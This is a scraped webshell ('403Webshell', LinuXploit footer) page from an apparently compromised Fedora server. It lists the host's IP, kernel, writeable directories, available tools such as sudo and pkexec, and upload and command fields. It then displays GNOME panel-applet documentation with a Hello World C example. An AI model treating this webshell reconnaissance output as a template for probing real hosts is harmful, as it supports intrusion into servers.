403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/gtk-doc/html/panel-applet/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/gtk-doc/html/panel-applet/applet-writing.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Writing Applets</title>
<meta name="generator" content="DocBook XSL Stylesheets V1.75.2">
<link rel="home" href="index.html" title="Panel Applet Library Reference Manual">
<link rel="up" href="index.html" title="Panel Applet Library Reference Manual">
<link rel="prev" href="index.html" title="Panel Applet Library Reference Manual">
<link rel="next" href="server-files.html" title="Bonobo Activation .server Files For Applets">
<meta name="generator" content="GTK-Doc V1.12 (XML mode)">
<link rel="stylesheet" href="style.css" type="text/css">
<link rel="chapter" href="applet-writing.html" title="Writing Applets">
<link rel="chapter" href="applet-porting.html" title="Porting Applets from the GNOME 1.x interfaces">
<link rel="chapter" href="panel-applet.html" title="The Panel Applet Library">
</head>
<body bgcolor="white" text="black" link="#0000FF" vlink="#840084" alink="#0000FF">
<table class="navigation" id="top" width="100%" summary="Navigation header" cellpadding="2" cellspacing="2"><tr valign="middle">
<td><a accesskey="p" href="index.html"><img src="left.png" width="24" height="24" border="0" alt="Prev"></a></td>
<td> </td>
<td><a accesskey="h" href="index.html"><img src="home.png" width="24" height="24" border="0" alt="Home"></a></td>
<th width="100%" align="center">Panel Applet Library Reference Manual</th>
<td><a accesskey="n" href="server-files.html"><img src="right.png" width="24" height="24" border="0" alt="Next"></a></td>
</tr></table>
<div class="chapter" title="Writing Applets">
<div class="titlepage"><div><div><h2 class="title">
<a name="applet-writing"></a>Writing Applets</h2></div></div></div>
<div class="toc"><dl>
<dt><span class="sect1"><a href="applet-writing.html#hello-world">Hello World Applet</a></span></dt>
<dt><span class="sect1"><a href="server-files.html">Bonobo Activation .server Files For Applets</a></span></dt>
<dt><span class="sect1"><a href="applet-popups.html">Defining a Popup Context Menu</a></span></dt>
<dt><span class="sect1"><a href="panel-signals.html">Detecting Changes in the Panel.</a></span></dt>
<dt><span class="sect1"><a href="session-saving.html">Session/Preference Saving.</a></span></dt>
<dt><span class="sect1"><a href="multi-applets.html">Multiple Applets</a></span></dt>
</dl></div>
<p>Writing applets is very simple. You take some boiler plate
code like below, change a couple of things and write the code that
implements your widgetry. The hardest part is writing your widgetry -
and its completely up to yourself how hard that should be.
    </p>
<div class="sect1" title="Hello World Applet">
<div class="titlepage"><div><div><h2 class="title" style="clear: both">
<a name="hello-world"></a>Hello World Applet</h2></div></div></div>
<p>As usual, following the pointless tradition of starting with
an example of how get 'Hello World' on the screen in some form, here's
just about the simplest applet you could write.
      </p>
<pre class="programlisting">
#include &lt;string.h&gt;

#include &lt;panel-applet.h&gt;
#include &lt;gtk/gtklabel.h&gt;

static gboolean
hello_applet_fill (PanelApplet *applet,
		   const gchar *iid,
		   gpointer     data)
{
        GtkWidget *label;

        if (strcmp (iid, "OAFIID:My_HelloApplet") != 0)
		return FALSE;

        label = gtk_label_new ("Hello World");
	gtk_container_add (GTK_CONTAINER (applet), label);

	gtk_widget_show_all (GTK_WIDGET (applet));

        return TRUE;
}


PANEL_APPLET_BONOBO_FACTORY ("OAFIID:My_HelloApplet_Factory",
                             PANEL_TYPE_APPLET,
                             "TheHelloWorldApplet",
                             "0",
                             hello_applet_fill,
                             NULL);
      </pre>
<p>The code here is very similar to writing a normal Bonobo
control. You define a factory using PANEL_APPLET_BONOBO_FACTORY(),
passing it a factory function like hello_applet_fill().
      </p>
<p>libpanel-applet automatically creates a #PanelApplet object
for you, passing this to your factory method. Here, you should fill
the applet with your widgets just like a #GtkBin. For example, if you
were writing a cdplayer applet you would create a #GtkHBox, pack the
hbox with the cdplayer buttons and in turn add the hbox to the applet.
      </p>
</div>
</div>
<div class="footer">
<hr>
          Generated by GTK-Doc V1.12</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit